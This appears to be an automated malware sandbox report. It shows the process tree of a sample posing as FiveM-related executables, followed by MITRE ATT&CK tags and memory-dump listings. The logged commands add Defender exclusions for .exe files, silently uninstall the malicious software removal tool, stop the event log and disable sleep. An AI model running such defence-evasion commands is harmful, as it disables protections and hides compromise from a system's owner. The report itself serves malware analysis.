C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force36⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart36⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart37⤵
-
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 036⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 036⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 036⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 036⤵
- Power Settings
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog36⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "FV"36⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"35⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"35⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"36⤵
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"36⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"36⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"37⤵
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"37⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"37⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"38⤵
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"38⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"38⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"39⤵
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"39⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"39⤵
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"40⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force41⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart41⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart42⤵
-
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 041⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 041⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 041⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 041⤵
- Power Settings
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog41⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "FV"41⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"40⤵
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"40⤵
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"41⤵
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"41⤵
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"41⤵
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"42⤵
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"42⤵
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"42⤵
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"43⤵
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"43⤵
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"43⤵
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"44⤵
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"44⤵
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"44⤵
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"45⤵
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"45⤵
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"45⤵
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\ProgramData\FV\main.exeC:\ProgramData\FV\main.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
-
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵
-
-
C:\Windows\system32\conhost.execonhost.exe2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
C:\ProgramData\FV\main.exeC:\ProgramData\FV\main.exe1⤵
- Executes dropped EXE
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
-
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
-
-
C:\ProgramData\FV\main.exeC:\ProgramData\FV\main.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
-
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\ProgramData\FV\main.exeC:\ProgramData\FV\main.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
-
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\ProgramData\FV\main.exeC:\ProgramData\FV\main.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
-
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
-
-
C:\ProgramData\FV\main.exeC:\ProgramData\FV\main.exe1⤵
- Drops file in System32 directory
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
-
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
-
-
C:\ProgramData\FV\main.exeC:\ProgramData\FV\main.exe1⤵
- Drops file in System32 directory
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
-
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
-
-
C:\ProgramData\FV\main.exeC:\ProgramData\FV\main.exe1⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
-
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1System Services
2Service Execution
2Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Create or Modify System Process
2Windows Service
2Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
1Modify Registry
2Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
3Credentials In Files
3Replay Monitor
Loading Replay Monitor...
Downloads
GEJSER v2.2.exe.log
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_lzj15ary.ha5.ps1
fivem.exe
fv.exe
xeefiaiilgye.sys
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
memory/388-419-0x0000000007630000-0x00000000076A6000-memory.dmp
memory/388-389-0x00000000054B0000-0x00000000054D2000-memory.dmp
memory/388-380-0x0000000002B70000-0x0000000002BA6000-memory.dmp
memory/388-488-0x0000000008C40000-0x00000000091E6000-memory.dmp
memory/388-477-0x0000000008660000-0x0000000008682000-memory.dmp
memory/388-472-0x0000000007CB0000-0x0000000007D46000-memory.dmp
memory/388-471-0x0000000007C00000-0x0000000007C0A000-memory.dmp
memory/388-470-0x0000000007B00000-0x0000000007BA3000-memory.dmp
memory/388-381-0x00000000056C0000-0x0000000005D8A000-memory.dmp
memory/388-391-0x0000000005650000-0x00000000056B6000-memory.dmp
memory/388-453-0x0000000070B80000-0x0000000070ED7000-memory.dmp
memory/388-451-0x00000000707C0000-0x000000007080C000-memory.dmp
memory/388-466-0x0000000007AA0000-0x0000000007ABE000-memory.dmp
memory/388-449-0x0000000007AC0000-0x0000000007AF2000-memory.dmp
memory/388-392-0x0000000005D90000-0x0000000005DF6000-memory.dmp
memory/388-427-0x0000000007F30000-0x00000000085AA000-memory.dmp
memory/388-428-0x00000000078D0000-0x00000000078EA000-memory.dmp
memory/388-398-0x0000000005EB0000-0x0000000006207000-memory.dmp
memory/388-416-0x0000000006A20000-0x0000000006A64000-memory.dmp
memory/388-401-0x0000000006510000-0x000000000652E000-memory.dmp
memory/388-402-0x0000000006AB0000-0x0000000006AFC000-memory.dmp
memory/832-231-0x0000000000630000-0x0000000001287000-memory.dmp
memory/892-749-0x0000022D45010000-0x0000022D450C5000-memory.dmp
memory/1060-179-0x000001107C490000-0x000001107C5DF000-memory.dmp
memory/1060-87-0x0000000000630000-0x0000000001287000-memory.dmp
memory/1060-85-0x0000000000630000-0x0000000001287000-memory.dmp
memory/1060-235-0x0000000000630000-0x0000000001287000-memory.dmp
memory/1184-594-0x0000000000590000-0x00000000011E7000-memory.dmp
memory/1364-0-0x00000000000B0000-0x00000000013DC000-memory.dmp
memory/1364-1-0x0000000003350000-0x0000000003360000-memory.dmp
memory/1500-40-0x0000000000630000-0x0000000001287000-memory.dmp
memory/1500-38-0x0000000000630000-0x0000000001287000-memory.dmp
memory/1588-356-0x0000000000480000-0x00000000010D7000-memory.dmp
memory/1628-526-0x0000000000FB0000-0x0000000001C07000-memory.dmp
memory/1628-357-0x0000000000FB0000-0x0000000001C07000-memory.dmp
memory/1628-311-0x0000000000FB0000-0x0000000001C07000-memory.dmp
memory/1628-437-0x0000000000FB0000-0x0000000001C07000-memory.dmp
memory/1628-605-0x0000000000FB0000-0x0000000001C07000-memory.dmp
memory/1676-642-0x0000000000D20000-0x0000000001977000-memory.dmp
memory/1752-536-0x0000000000D90000-0x00000000019E7000-memory.dmp
memory/1772-377-0x0000000000390000-0x0000000000FE7000-memory.dmp
memory/1828-129-0x0000000140000000-0x0000000140014000-memory.dmp
memory/1828-118-0x0000000140000000-0x0000000140014000-memory.dmp
memory/1828-119-0x0000000140000000-0x0000000140014000-memory.dmp
memory/1828-120-0x0000000140000000-0x0000000140014000-memory.dmp
memory/1828-121-0x0000000140000000-0x0000000140014000-memory.dmp
memory/1828-122-0x0000000140000000-0x0000000140014000-memory.dmp
memory/2112-140-0x0000000140000000-0x00000001408B4000-memory.dmp
memory/2112-132-0x0000000140000000-0x00000001408B4000-memory.dmp
memory/2112-130-0x0000000140000000-0x00000001408B4000-memory.dmp
memory/2112-136-0x0000000140000000-0x00000001408B4000-memory.dmp
memory/2112-141-0x0000000140000000-0x00000001408B4000-memory.dmp
memory/2112-139-0x0000000140000000-0x00000001408B4000-memory.dmp
memory/2112-138-0x0000000140000000-0x00000001408B4000-memory.dmp
memory/2112-137-0x0000000140000000-0x00000001408B4000-memory.dmp
memory/2112-134-0x0000000140000000-0x00000001408B4000-memory.dmp
memory/2112-133-0x0000000140000000-0x00000001408B4000-memory.dmp
memory/2112-131-0x0000000140000000-0x00000001408B4000-memory.dmp
memory/2112-126-0x0000000140000000-0x00000001408B4000-memory.dmp
memory/2112-310-0x0000000140000000-0x00000001408B4000-memory.dmp
memory/2112-135-0x0000014F1AD20000-0x0000014F1AD40000-memory.dmp
memory/2112-312-0x0000000140000000-0x00000001408B4000-memory.dmp
memory/2112-125-0x0000000140000000-0x00000001408B4000-memory.dmp
memory/2248-570-0x00000193F2220000-0x00000193F22D5000-memory.dmp
memory/2252-417-0x0000000000E20000-0x0000000001A77000-memory.dmp
memory/2252-604-0x0000000000C00000-0x0000000001857000-memory.dmp
memory/2300-204-0x0000000000630000-0x0000000001287000-memory.dmp
memory/2412-625-0x0000000000D80000-0x00000000019D7000-memory.dmp
memory/2552-164-0x0000000000630000-0x0000000001287000-memory.dmp
memory/2672-499-0x0000000000920000-0x0000000001577000-memory.dmp
memory/2752-436-0x0000024D7BB10000-0x0000024D7BBC5000-memory.dmp
memory/2812-169-0x0000000000630000-0x0000000001287000-memory.dmp
memory/2924-513-0x0000000000380000-0x0000000000FD7000-memory.dmp
memory/2952-247-0x0000000000630000-0x0000000001287000-memory.dmp
memory/2984-156-0x0000000000630000-0x0000000001287000-memory.dmp
memory/2984-157-0x0000000000630000-0x0000000001287000-memory.dmp
memory/3004-41-0x000001EEEB710000-0x000001EEEB732000-memory.dmp
memory/3016-525-0x0000000000C20000-0x0000000001877000-memory.dmp
memory/3100-49-0x0000000000630000-0x0000000001287000-memory.dmp
memory/3100-113-0x0000000000630000-0x0000000001287000-memory.dmp
memory/3100-222-0x0000000000630000-0x0000000001287000-memory.dmp
memory/3100-153-0x0000000000630000-0x0000000001287000-memory.dmp
memory/3100-27-0x0000000000630000-0x0000000001287000-memory.dmp
memory/3100-50-0x0000000000630000-0x0000000001287000-memory.dmp
memory/3100-244-0x0000000000630000-0x0000000001287000-memory.dmp
memory/3100-165-0x0000000000630000-0x0000000001287000-memory.dmp
memory/3124-213-0x000002417FA80000-0x000002417FB35000-memory.dmp
memory/3240-390-0x0000000000130000-0x0000000000D87000-memory.dmp
memory/3284-615-0x0000000000C70000-0x00000000018C7000-memory.dmp
memory/3404-96-0x000001E8D9530000-0x000001E8D95E5000-memory.dmp
memory/3404-97-0x000001E8D9300000-0x000001E8D930A000-memory.dmp
memory/3404-95-0x000001E8D9510000-0x000001E8D952C000-memory.dmp
memory/3592-367-0x00000000005A0000-0x00000000011F7000-memory.dmp
memory/4244-343-0x00000000006B0000-0x0000000001307000-memory.dmp
memory/4268-161-0x0000000000630000-0x0000000001287000-memory.dmp
memory/4288-418-0x0000000000860000-0x00000000014B7000-memory.dmp
memory/4324-317-0x0000000000F10000-0x0000000001B67000-memory.dmp
memory/4432-35-0x0000000000630000-0x0000000001287000-memory.dmp
memory/4432-33-0x0000000000630000-0x0000000001287000-memory.dmp
memory/4528-30-0x000000001CA40000-0x000000001CA50000-memory.dmp
memory/4556-53-0x0000000000630000-0x0000000001287000-memory.dmp
memory/4556-54-0x0000000000630000-0x0000000001287000-memory.dmp
memory/4568-259-0x00000000001B0000-0x0000000000E07000-memory.dmp
memory/4588-115-0x0000000000630000-0x0000000001287000-memory.dmp
memory/4588-114-0x0000000000630000-0x0000000001287000-memory.dmp
memory/4612-838-0x00000200C4A70000-0x00000200C4B25000-memory.dmp
memory/4676-659-0x00000227CCDC0000-0x00000227CCE75000-memory.dmp
memory/4764-562-0x0000000000BC0000-0x0000000001817000-memory.dmp
memory/4936-473-0x00000000008E0000-0x0000000001537000-memory.dmp
memory/4968-59-0x0000000000630000-0x0000000001287000-memory.dmp
memory/4968-60-0x0000000000630000-0x0000000001287000-memory.dmp